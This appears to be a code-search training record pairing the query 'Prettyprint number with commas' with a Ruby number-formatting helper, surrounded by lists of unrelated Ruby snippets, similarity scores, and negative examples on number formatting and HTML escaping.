"def worker_completed(worker)\n return if @aborting\n\n @completed << worker\n end",
"def qu_prefix(word)\n qu_test = /qu/ =~ word\n hack = word.scan(/\\w/)\n if qu_test == 0\n hack.delete_at(qu_test)\n hack.delete_at(qu_test)\n present = hack.join(\"\")\n present + \"quay\"\n else qu_test > 0\n popout = hack[qu_test-1]\n hack << popout\n hack.delete_at(qu_test)\n hack.delete_at(qu_test)\n hack.delete_at(qu_test-1)\n tot_ready = hack.join(\"\")\n tot_ready + \"quay\"\n end\nend",
"def running?\n\t\t!cancelled?\n\tend",
"def wait_for_others(w, orig_heading)\n loop do\n return if orig_heading != heading_for(w)\n sleep 1\n end\n end",
"def check_guess\n\t\t@word.include?(@guess)\n\n\tend",
"def word_has?(letter)\r\n @word.include?(letter)\r\n end",
"def do_not_thread; true; end",
"def do_not_thread; true; end",
"def do_not_thread; true; end",
"def performed?; end",
"def performed?; end",
"def check_for_available_workers\n workers >= working_count\n end",
"def has_waiters?\n waiting_writer?(@counter.value)\n end",
"def generate_results\n !(@incomplete_word.include? \"_\") ?\n puts(\"Congratulations, you won.\") :\n puts(\"\\nYou failed to guess the words.\")\n end",
"def word_test()\n if $build_word.join == $word # if $build_word equals $word, the user won\n $game_over = true # set the flag to indicate that the game is over\n $game_won = true # set the flag to indicate that the player won the game\n $games_won += 1 # so increase the games_won score by 1\n else # if they don't match, run user_input() for another letter\n $prompt = \"Good job - that letter was in the word. Please guess again!\"\n end\nend",
"def track_progress(word, guess, correct_guess, progress_message)\n \n if @correct_guess == true\n\n @index_of_correct_letter = word.index(guess)\n\n @inserted_prog_msg = @progress_message.insert(@index_of_correct_letter, guess)\n\n @inserted_prog_msg.slice!(@index_of_correct_letter + 1)\n\n @new_progress_message = @inserted_prog_msg\n\n puts \"Correct! The secret word is #{@new_progress_message}\"\n @new_progress_message\n\n else puts \"Incorrect! Guess again, the secret word is #{@new_progress_message}\"\n @new_progress_message\n end\nend",
"def play(word)\n \t# test to see if score is over 100\n \tif @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\treturn false\n \tend \n @words_played << word\n @scores_array << Scoring.score(word)\n end",
"def checking_dictionary_for_word_match\n @prefix = @str[@i_last_real_word...@i]\n \n if valid_word?(@prefix)\n if @skip_counter > 0\n @skip_counter -= 1\n else\n @words[i] = @prefix\n @i_last_real_word = @i\n end\n end\n end",
"def check_again\n if @thread.alive?\n wait 20\n else\n 'done'\n end\n end",
"def words_the_same?(word_to_test)\n word_to_test.downcase == @word.downcase\n end",
"def follow_on_job?\n false\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def enough_flippable_words?\n (words - all_excluded_words).size > 1\n end",
"def check(stopped)\n @next_check ||= DateTime.now + @sample_window.seconds\n\n before = DateTime.now + @schedule_threshold.seconds\n\n sk_utl = Util::SidekiqUtil\n has_queued_items = sk_utl.queue_size > 0 || sk_utl.scheduled_count(before) > 0 || sk_utl.retry_count(before) > 0\n\n # stopped: has ZERO instances? If a job is queued/scheduled soon/retried soon, should add a worker immediately\n if stopped && has_queued_items\n @next_check = nil\n return Action::INCREASE\n end\n\n if @next_check > DateTime.now\n log(:debug, 'Wait...')\n return Action::NOOP\n end\n\n @next_check = nil\n log(:debug, 'Check...')\n\n latency = Util::SidekiqUtil.max_latency || 0\n return Action::INCREASE if latency > @latency_threshold\n\n return Action::STOP unless has_queued_items\n\n # TODO check if NOOP?\n return Action::DECREASE\n end",
"def check_next_question(msg)\n msg.downcase.include? 'next'\nend",
"def testing_search?\n processes.include?('searchd')\nend",
"def do_not_thread\n true\n end",
"def word_has?(letter)\n @word.include? letter\n end",
"def word_has?(letter)\n @word.include?(letter)\n end",
"def continue?\n if self.suggest_another == \"1\"\n self.suggest_possibility\n elsif self.suggest_another == \"2\"\n self.where_are_you_at?\n elsif self.suggest_another == \"3\"\n exit\n end\n end",
"def done?\n @options[:num] && @messages.size >= @options[:num]\n end",
"def cpu_attempt\n (0..6).each do |c|\n token_placed = board_place_token(c)\n if game_result != NO_RESULT_YET # full send\n @state[:result] = game_result\n update_game_phase(GAME_OVER)\n return true\n elsif token_placed # make sure token was placed before force delete\n board_remove_token(c)\n end\n end\n false\n end",
"def guess_word(word)\n won = won?(word)\n @tries_left -= 1 unless won\n won\n end",
"def long_planeteer_calls(words)\n # Your code here\n words.any? do |word|\n word.length > 4\n end\nend",
"def check_If_Posted \n\t$used = $oldQuote.include? $quote\nend",
"def notify_if_just_finished\n return # disabled for now\n if percent_done == 100\n old = Torrent.find(self.id)\n if old.percent_done < 100 and statusmsg == 'seeding'\n self.watchings.find_all_by_apprise(true).collect {|w| w.user }.each do |user| \n Notifier.send_finished(user,self) if user.notifiable_via_jabber?\n end\n end\n end\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def trie_test\n @words.each_with_index do |word, i|\n # binding.pry\n seq = \"#{word} #{@words[i+1]} #{@words[i+2]}\"\n if\n @poe_trie.find(seq)\n return true\n end\n end\n return false\n end",
"def might_have_data?\n @state.to_s =~ /finished|aborted|running/\n end",
"def ran?\n completed? || failed?\n end",
"def finished?\n\tfinished_on.present? \n\tend",
"def check_completed\n\t\tend",
"def completed_se?(se)\n Helpers::log(\"Checks if .slide_done.txt is created for #{se}..\")\n done_se = completed_run\n done_se.each do |s|\n if /#{s}/.match(se)\n return TRUE\n end\n end\n return FALSE\n end"
] |
[
"0.67582035",
"0.61342525",
"0.5825287",
"0.58099174",
"0.56204337",
"0.5619865",
"0.56002283",
"0.5587403",
"0.5570429",
"0.5555913",
"0.54384136",
"0.54368955",
"0.5432886",
"0.54173166",
"0.54097795",
"0.540072",
"0.5383527",
"0.53751",
"0.53508466",
"0.5345757",
"0.5342739",
"0.5342229",
"0.5339092",
"0.53351855",
"0.53335196",
"0.53326434",
"0.5325091",
"0.5315888",
"0.5312442",
"0.5300708",
"0.52976435",
"0.52976435",
"0.52806807",
"0.5276276",
"0.5273054",
"0.52686447",
"0.5257049",
"0.523614",
"0.523597",
"0.5235683",
"0.52300787",
"0.52211946",
"0.52057505",
"0.51949984",
"0.5187835",
"0.5186412",
"0.5175793",
"0.5174085",
"0.5167738",
"0.5157242",
"0.515365",
"0.51530695",
"0.51476747",
"0.51466197",
"0.5146052",
"0.5145682",
"0.51427495",
"0.5133009",
"0.5131832",
"0.5114639",
"0.5106248",
"0.51060194",
"0.5101723",
"0.51013356",
"0.51013356",
"0.51013356",
"0.51000154",
"0.51000154",
"0.50838923",
"0.50821024",
"0.5076986",
"0.5076021",
"0.5074804",
"0.50668544",
"0.5062796",
"0.5055437",
"0.50480515",
"0.5047984",
"0.5046371",
"0.50400543",
"0.50349",
"0.5032489",
"0.5028322",
"0.50213325",
"0.5021249",
"0.5021218",
"0.5020663",
"0.5018388",
"0.50163615",
"0.50143665",
"0.5006403",
"0.5005844",
"0.5003486",
"0.49906218",
"0.49861398",
"0.4975087",
"0.49685284",
"0.4968084",
"0.49669525",
"0.49666426"
] |
0.6134283
|
1
|
Utilities for templates HTML escaping
|
def h(str)
CGI.escapeHTML(str.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def escape_html(html)\n html.to_s.gsub(/&/n, '&').gsub(/\\\"/n, '"').gsub(/>/n, '>').gsub(/</n, '<').gsub(/\\//, '/')\n end",
"def html_escape\n return to_s\n end",
"def html_escape\n return to_s\n end",
"def html_escape(options={})\n except = options[:except] || %w()\n close_tags\n @modified_string.gsub!(/<\\/?(.*?)(\\s.*?)?\\/?>/) do |tag|\n if except.include?($1)\n # sanitize attributes\n tag.gsub(/\\s(.+?)=('|\").*?\\2(?=.*?>)/) do |a|\n [\"href\", \"src\", \"lang\"].include?($1) ? a : \"\"\n end\n else\n h(tag)\n end\n end\n # Convert all unclosed left tag brackets (<) into <\n @modified_string.gsub!(/<+([^>]*)\\Z/, '<\\1')\n # Convert all unopened right tag brackets (>) into >\n @modified_string.gsub!(/\\A([^<]*)>+/, '\\1>')\n self\n end",
"def html_escape(s)\n s.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\")\n end",
"def escape_html(html)\n html.to_s.gsub(/[&\\\"<>\\/]/, ESCAPE_HTML)\n end",
"def markup_escape(text)\n table_for_escape = {\n \"&\" => \"&\",\n \"<\" => \"<\",\n \">\" => \">\",\n }\n text.gsub(/[&<>]/, table_for_escape)\n end",
"def html_escape(html)\n html.to_s.gsub(/[&\"><]/) { |special| HTML_ESCAPE[special] }\n end",
"def escape_html(value)\n CGI.escapeHTML(value)\n end",
"def html_escape(s)\n s.to_s.gsub(/[&\"><]/) { |special| HTML_ESCAPE[special] }\n end",
"def html_escape(s)\n CGI.escapeHTML(s.to_s)\n end",
"def html_safe\n self\n end",
"def _(data=\"\"); self.__ self.escape_html(data.to_s); end",
"def html_escape(string)\n EscapeUtils.escape_html(string.to_s).html_safe\n end",
"def html_escape(text)\n text.to_s.gsub(/[\\\"><&]/) { |s| HTML_ESCAPE[s] }\n end",
"def html_escape(s)\n s = s.to_s\n if s.html_safe?\n s\n else\n s.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\").html_safe\n end\n end",
"def escape_html\n Rack::Utils.escape_html self\n end",
"def esc_ht str\n\t\treturn Escape.html str\n\tend",
"def escape_html( string )\n\t\t\treturn \"nil\" if string.nil?\n\t\t\tstring = string.inspect unless string.is_a?( String )\n\t\t\tstring.\n\t\t\t\tgsub(/&/, '&').\n\t\t\t\tgsub(/</, '<').\n\t\t\t\tgsub(/>/, '>').\n\t\t\t\tgsub(/\\n/, '↵').\n\t\t\t\tgsub(/\\t/, '→')\n\t\tend",
"def escape_html( string )\n\t\t\treturn \"nil\" if string.nil?\n\t\t\tstring = string.inspect unless string.is_a?( String )\n\t\t\tstring.\n\t\t\t\tgsub(/&/, '&').\n\t\t\t\tgsub(/</, '<').\n\t\t\t\tgsub(/>/, '>').\n\t\t\t\tgsub(/\\n/, '↵').\n\t\t\t\tgsub(/\\t/, '→')\n\t\tend",
"def escape_html(str, type = T.unsafe(nil)); end",
"def html_escape(s) # rubocop:disable Lint/DuplicateMethods\n unwrapped_html_escape(s).html_safe\n end",
"def html_escape(text)\n Rack::Utils.escape_html(text)\n end",
"def html_escape(clean_me)\n clean_me.to_s.gsub(/[&\"<>]/) do |special|\n { '&' => '&',\n '>' => '>',\n '<' => '<',\n '\"' => '"' }[special]\n end\n end",
"def haml_xss_html_escape(text)\n return text unless Hamlit::HamlUtil.rails_xss_safe? && haml_buffer.options[:escape_html]\n html_escape(text)\n end",
"def escape(content)\n return content if content.html_safe?\n content.gsub(/[&><\"]/) { |char| ESCAPE_SEQUENCE[char] }\n end",
"def html_escape(str)\r\n str.gsub('&', '&').str('<', '<').str('>', '>').str('\"', '"')\r\nend",
"def escape_html(input)\n Utils::Escape.html(input)\n end",
"def escape_html(str)\n\t\t\t#table = HTML_ESC # optimize\n\t\t\t#str.gsub(/[&\"<>]/) {|s| table[s] }\n\t\t\treturn str\n\t\tend",
"def erb_escape(text)\n # Do not only replace '<%' ! or <r:t>min</r:t>% ==> <% ...\n text.gsub(SECURE_REGEXP) {|code| SAFE_CODE[code]}\n end",
"def escape_content\n content.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\") \n end",
"def esc_html(text)\n \tsafe_text = wp_check_invalid_utf8(text)\n \tsafe_text = _wp_specialchars(safe_text, :ENT_QUOTES)\n \t# Filters a string cleaned and escaped for output in HTML.\n \tapply_filters('esc_html', safe_text, text)\n end",
"def htmlify(text, markup = T.unsafe(nil)); end",
"def html_escape_with_haml_xss(text)\n str = text.to_s\n return text if str.html_safe?\n Hamlit::HamlUtil.html_safe(html_escape_without_haml_xss(str))\n end",
"def htmlEscape(string)\n return string.gsub('&', '&').gsub('>', '>').gsub('<', '<')\nend",
"def escape_html(string)\n string.to_s.gsub(ESCAPE_HTML_PATTERN){|c| ESCAPE_HTML[c] }\n end",
"def my_html_escape(org_value)\n '' if org_value.nil?\n ERB::Util.html_escape(org_value). # Standard-Escape kann kein NewLine-><BR>\n gsub(/\\n/, '<br>'). # Alle vorkommenden NewLine ersetzen\n gsub(/\\r/, '') # Alle vorkommenden CR ersetzen, führt sonst bei Javascript zu Error String not closed\n end",
"def escape_html_safe(html)\n html.html_safe? ? html : escape_html(html)\n end",
"def smart_quote_entity(el); end",
"def h(content)\n content.html_escape\n end",
"def h(content)\n content.html_escape\n end",
"def h(text)\n ::Rack::Utils.escape_html(text)\n end",
"def to_html opts={}\r\n value = self.gsub(/</, '<').gsub(/>/, '>').gsub(/&/,'&')\r\n value = value.gsub(/<script/,'<script') unless opts[:script]\r\n value = value.gsub(/<link/,'<link') unless opts[:link]\r\n value\r\n end",
"def to_html opts={}\r\n value = self.gsub(/</, '<').gsub(/>/, '>').gsub(/&/,'&')\r\n value = value.gsub(/<script/,'<script') unless opts[:script]\r\n value = value.gsub(/<link/,'<link') unless opts[:link]\r\n value\r\n end",
"def conv_html(txt)\n txt.\n gsub(/>/, '>').\n gsub(/</, '<').\n gsub(/"/, '\"').\n gsub(/&/, '&')\n \n end",
"def capture(*args)\n super.html_safe\n end",
"def correct_unncessarily_escaped_html_tags(element)\n statement = element.statement\n [:sup, :i].each do |tag|\n statement.gsub!(/<#{tag}>/,%Q{<#{tag}>})\n statement.gsub!(/<\\/#{tag}>/,%Q{</#{tag}>})\n end\n element.instance_variable_set(:@statement,statement)\n end",
"def reverse_html_tags\n self.gsub('<', \"<\").gsub('>', \">\")\n end",
"def escape(text)\n if !text.kind_of?(String)\n if text.respond_to?(:to_str)\n text = text.to_str\n else\n text = test.to_s\n end\n end\n # TODO: Verify that this is sufficient, gut feeling says no.\n text.gsub(/\\</, \"<\")\n end",
"def get_escaped_content_string(options = nil)\n get_content_string(options).gsub(/</, \"<\").gsub(/>/, \">\")\n end",
"def escape_html(str, type = :all)\n str.gsub(ESCAPE_RE_FROM_TYPE[type]) {|m| ESCAPE_MAP[m] || m }\n end",
"def h(s)\n case s\n when Raw\n s\n when Tag\n s.to_s\n else\n escape_html(s)\n end\n end",
"def to_xhtml(*args); end",
"def to_xhtml(*args); end",
"def to_xhtml(*args); end",
"def to_xhtml(*args); end",
"def escaped_raw_template\n h(self.__source.raw_template)\n end",
"def to_html\n __html__.dup.scrub!(:escape).to_html\n end",
"def js_escape_html(html_content)\n return '' unless html_content\n javascript_mapping = { '\\\\' => '\\\\\\\\', '</' => '<\\/', \"\\r\\n\" => '\\n', \"\\n\" => '\\n', \"\\r\" => '\\n', '\"' => '\\\\\"', \"'\" => \"\\\\'\" }\n escaped_content = html_content.gsub(/(\\\\|<\\/|\\r\\n|[\\n\\r\"'])/){ |m| javascript_mapping[m] }\n escaped_content = escaped_content.html_safe if html_content.html_safe?\n escaped_content\n end",
"def test_that_escape_html_works\n source = <<-HTML.strip_heredoc\n Through <em>NO</em> <script>DOUBLE NO</script>\n\n <script>BAD</script>\n\n <img src=\"/favicon.ico\" />\n HTML\n expected = <<-HTML.chomp.strip_heredoc\n <p>Through <em>NO</em> <script>DOUBLE NO</script></p>\n\n <p><script>BAD</script></p>\n\n <p><img src="/favicon.ico" /></p>\n HTML\n\n assert_equal expected, render(source, with: [:escape_html])\n end",
"def escape_once(html); end",
"def h(text)\n Rack::Utils.escape_html(text)\n end",
"def h(text)\n Rack::Utils.escape_html(text)\n end",
"def h(str)\n CGI.escapeHTML(str)\n end",
"def page_meta_escape_value(val)\n val.to_s.gsub(\"<\", \"<\").gsub(\">\", \">\")\n end",
"def html_markup_html(text); end",
"def encode_html( str )\n\t\t\t#str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\\w+);)/i, \"&\" ).\n\t\t\t\t#gsub( %r{<(?![a-z/?\\$!])}i, \"<\" )\n\t\t\t\treturn str\n\t\tend",
"def h obj; obj.to_s.html_escape end",
"def h(text)\n Rack::Utils.escape_html(text)\n end",
"def h(string)\n Rack::Utils.escape_html(string) # Escape any html code that appears on page e.g. <script>\nend",
"def escaped_content\n content.gsub(/&/, '&').gsub(/</, '<').strip\n end",
"def html_safe(phrase)\n return h(phrase).gsub(/'/,''').gsub(/\\r\\n/,\"<br/>\")\n end",
"def make_html_safe i_string\n\t\t\t# CGI::escapeHTML i_string.to_s\n\t\t\ti_string\n\t\tend",
"def h(string)\n Rack::Utils.escape_html(string)\n end",
"def convert_string(text)\n CGI.escapeHTML text\n end",
"def translate_to_html(ep_template)\n ep_template\n .gsub(/\\{many\\}/, '<ep-many>')\n .gsub(/\\{\\/many\\}/, '</ep-many>')\n .gsub(/\\{\\.\\.\\.\\}/, '<ep-something />')\n .gsub(/\\{scope\\}/, '<ep-scope>')\n .gsub(/\\{\\/scope\\}/, '</ep-scope>')\n .gsub(/\\{\\$([a-z]+\\w*)\\}/, '<ep-variable name=\"\\1\">')\n .gsub(/\\{\\/\\$[a-z]+\\w*\\}/, '</ep-variable>')\n .gsub(/\\{\\/([^\\}]+)\\/\\}/, '<ep-regex value=\"\\1\" />')\n .gsub(/\\{\\.\\.\\.but\\}/, '<ep-but>')\n .gsub(/\\{\\/\\.\\.\\.but\\}/, '</ep-but>')\n .gsub(/\\{either\\}/, '<ep-either>')\n .gsub(/\\{\\/either\\}/, '</ep-either>')\n .gsub(/\\{or\\}/, '<ep-or />')\n end",
"def convert_html_safe(str)\n return str.html_safe\n end",
"def inner_html(options = T.unsafe(nil)); end",
"def html raw_text\n EscapeUtils.escape_html(decode_html(raw_text))\n end",
"def h(obj)\n CGI.escapeHTML(obj.to_s)\n end",
"def to_html(*args); end",
"def to_html(*args); end",
"def to_html(*args); end",
"def to_html(*args); end",
"def h(s)\n Rack::Utils.escape_html(s.to_s)\n end",
"def escape_text(text)\n text\n end",
"def escape(str)\n ERB::Util.h(str).gsub('"', '\"').gsub(''', \"'\")\n end",
"def escape_literal(text)\n text\n end",
"def xml_escape(input); end",
"def dumpAsHTML\n\t\tvalue = dumpAsString\n\t\treturn CGI.escapeHTML(value)\n\tend",
"def handle_raw_html_tag(name); end",
"def xml_attr_escape\n replacements = {\"<\" => \"<\", \">\" => \">\", \"&\" => \"&\", \"\\\"\" => \""\", \"'\" => \"'\"}\n gsub(/([<>&\\'\\\"])/) { replacements[$1] }\n end",
"def to_html(options = T.unsafe(nil)); end",
"def to_html(options = T.unsafe(nil)); end",
"def to_xhtml(options = T.unsafe(nil)); end",
"def to_xhtml(options = T.unsafe(nil)); end",
"def escapeHTML(string)\n enc = string.encoding\n unless enc.ascii_compatible?\n if enc.dummy?\n origenc = enc\n enc = Encoding::Converter.asciicompat_encoding(enc)\n string = enc ? string.encode(enc) : string.b\n end\n table = Hash[TABLE_FOR_ESCAPE_HTML__.map {|pair|pair.map {|s|s.encode(enc)}}]\n string = string.gsub(/#{\"['&\\\"<>]\".encode(enc)}/, table)\n string.encode!(origenc) if origenc\n string\n else\n string = string.b\n string.gsub!(/['&\\\"<>]/, TABLE_FOR_ESCAPE_HTML__)\n string.force_encoding(enc)\n end\n end",
"def html_safe(input)\n input.respond_to?(:html_safe) ? input.html_safe : input\n end",
"def ae_some_html(s)\n return '' if s.nil? \n \n # converting newlines\n s.gsub!(/\\r\\n?/, \"\\n\")\n \n # escaping HTML to entities\n s = s.to_s.gsub('&', '&').gsub('<', '<').gsub('>', '>')\n \n # blockquote tag support\n s.gsub!(/\\n?<blockquote>\\n*(.+?)\\n*<\\/blockquote>/im, \"<blockquote>\\\\1</blockquote>\")\n \n # other tags: b, i, em, strong, u\n %w(b i em strong u).each { |x|\n s.gsub!(Regexp.new('<(' + x + ')>(.+?)</('+x+')>',\n Regexp::MULTILINE|Regexp::IGNORECASE), \n \"<\\\\1>\\\\2</\\\\1>\")\n }\n \n # A tag support\n # href=\"\" attribute auto-adds http://\n s = s.gsub(/<a.+?href\\s*=\\s*['\"](.+?)[\"'].*?>(.+?)<\\/a>/im) { |x|\n '<a href=\"' + ($1.index('://') ? $1 : 'http://'+$1) + \"\\\">\" + $2 + \"</a>\"\n }\n \n # replacing newlines to <br> ans <p> tags\n # wrapping text into paragraph\n s = \"<p>\" + s.gsub(/\\n\\n+/, \"</p>\\n\\n<p>\").\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') + \"</p>\"\n \n s \n end",
"def ae_some_html(s)\n return '' if s.nil? \n \n # converting newlines\n s.gsub!(/\\r\\n?/, \"\\n\")\n \n # escaping HTML to entities\n s = s.to_s.gsub('&', '&').gsub('<', '<').gsub('>', '>')\n \n # blockquote tag support\n s.gsub!(/\\n?<blockquote>\\n*(.+?)\\n*<\\/blockquote>/im, \"<blockquote>\\\\1</blockquote>\")\n \n # other tags: b, i, em, strong, u\n %w(b i em strong u).each { |x|\n s.gsub!(Regexp.new('<(' + x + ')>(.+?)</('+x+')>',\n Regexp::MULTILINE|Regexp::IGNORECASE), \n \"<\\\\1>\\\\2</\\\\1>\")\n }\n \n # A tag support\n # href=\"\" attribute auto-adds http://\n s = s.gsub(/<a.+?href\\s*=\\s*['\"](.+?)[\"'].*?>(.+?)<\\/a>/im) { |x|\n '<a href=\"' + ($1.index('://') ? $1 : 'http://'+$1) + \"\\\">\" + $2 + \"</a>\"\n }\n \n # replacing newlines to <br> ans <p> tags\n # wrapping text into paragraph\n s = \"<p>\" + s.gsub(/\\n\\n+/, \"</p>\\n\\n<p>\").\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') + \"</p>\"\n \n s \n end"
] |
[
"0.7326803",
"0.7294057",
"0.7294057",
"0.7240767",
"0.7155972",
"0.71526974",
"0.71275294",
"0.70460063",
"0.70178854",
"0.70006114",
"0.69943637",
"0.6983795",
"0.69819814",
"0.69662976",
"0.6963998",
"0.6959248",
"0.69446814",
"0.69422096",
"0.6936382",
"0.6936382",
"0.6910763",
"0.687662",
"0.6855738",
"0.68548274",
"0.6846235",
"0.68329173",
"0.6824627",
"0.6804775",
"0.6793797",
"0.6781207",
"0.6776095",
"0.67542887",
"0.6735675",
"0.6732017",
"0.6717802",
"0.6701496",
"0.6673849",
"0.65983397",
"0.65526044",
"0.65274674",
"0.65274674",
"0.6521245",
"0.6512961",
"0.6512961",
"0.6510897",
"0.65067935",
"0.64872664",
"0.6455203",
"0.6440747",
"0.6417764",
"0.6405507",
"0.63673115",
"0.6364565",
"0.6364565",
"0.6364565",
"0.6364565",
"0.6362039",
"0.6359597",
"0.6353997",
"0.63509303",
"0.6349518",
"0.634564",
"0.63438696",
"0.63436276",
"0.6330409",
"0.63300526",
"0.6305456",
"0.6296855",
"0.6280043",
"0.6278491",
"0.6278193",
"0.6275164",
"0.6271471",
"0.62568647",
"0.62555826",
"0.6241067",
"0.6232068",
"0.6229504",
"0.6212086",
"0.6209943",
"0.61709136",
"0.61709136",
"0.61709136",
"0.61709136",
"0.6139964",
"0.61350393",
"0.6118193",
"0.6117906",
"0.61135566",
"0.60946155",
"0.6085801",
"0.6084747",
"0.6080296",
"0.6080296",
"0.60758805",
"0.60758805",
"0.6066921",
"0.60594827",
"0.6058676",
"0.6058676"
] |
0.61336476
|
86
|
Prettyprint number with commas (integer only)
|
def n(num)
num.to_s.reverse.gsub(/...(?=.)/,'\&,').reverse
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pretty_int(value)\n decimal = Integer(value).to_s\n # 讓 decimal 的長度為 3 的倍數,leader 為前面多出來的那幾個數字\n leader = decimal.slice!(0, decimal.length % 3)\n # 讓 decimal 每 3 位中間加逗號\n decimal.gsub!(/\\d{3}(?!$)/,'\\0,')\n decimal = nil if decimal.empty?\n leader = nil if leader.empty?\n [leader,decimal].compact.join(\",\")\nend",
"def iformat( n )\n # FIXME by locale\n return numberFormat( n, ',', nil, nil );\nend",
"def format_num(num); number_with_delimiter(num) end",
"def nformat( n )\n # FIXME by locale\n return numberFormat( n, ',','.', 1 );\nend",
"def number_with_formatting\n number_without_formatting\n end",
"def number_with_formatting\n number_without_formatting\n end",
"def format_num(int)\n int.to_s.reverse.scan(/\\d{1,3}/).reverse.join(\",\")\nend",
"def print_num(min)\n min.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\nend",
"def format_number\n number.to_s.gsub(/\\s+/,'') =~ FORMAT_REGEXP\n [$1,$2.to_s.split(/(...)/).map{|x| x.empty? ? nil : x}].flatten.compact.join(' ')\n end",
"def print_money(value)\n number_with_delimiter( value , :delimiter => \",\")\n end",
"def format_number(number)\n number = 0 if number.nil?\n number.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\n end",
"def commas(num)\nend",
"def number_format(num)\n \n return num.to_s.gsub(/(\\d)(?=\\d{3}+(\\.\\d*)?$)/, '\\1,')\n \n end",
"def commas(num)\n str = num.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\n print str, \"\\n\"\n return str\nend",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end",
"def format_number_with_commas(st)\n st.to_s.gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1,\")\n end",
"def format_number(number)\n number.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\nend",
"def fancy_number(num)\n \"$\" + num.to_s.reverse.scan(/\\d{3}|.+/).join(\",\").reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def number_to_s(val)\n return @print_decimal_numbers ? val.to_s : ('%02x' % val)\n end",
"def neat_numbers(number, roundto = 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def format(number, digits: nil, display_sign: nil, min_integers: nil, min_precision: nil, max_precision: nil, **)\n number = number * @factor\n negative = number < 0\n number = -number if negative\n prefix, suffix = affixes(display_sign, negative, number == 0)\n \n number = number.round(max_precision || @max_precision)\n integer = number.to_i\n\n %{#{ prefix }#{\n integer(integer, min_integers || @min_integers) }#{\n fraction(number, min_precision || @min_precision, max_precision || @max_precision) }#{\n suffix }}\n end",
"def pretty\n cpf_numbers = numeric\n \"%s.%s.%s-%s\" % [cpf_numbers[0..2], cpf_numbers[3..5], cpf_numbers[6..8], cpf_numbers[9..10]]\n end",
"def number_s\n return @number_s\n end",
"def neat_numbers(number, roundto = 2) # round to 0 or 2)\n number = if roundto == 2\n format '%.2f', number\n else\n number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end",
"def thousands_separator; end",
"def commas(num)\n string_with_commas = num.abs.to_s.chars.reverse.each_slice(3).map { |part| part.join }.join(\",\").reverse\n if num < 0\n string_with_commas.prepend(\"-\")\n end\n string_with_commas\nend",
"def number_with_lformat(number)\n number_with_precision(number.to_f, :precision => 2, :separator => \".\", :delimiter => \",\")\n end",
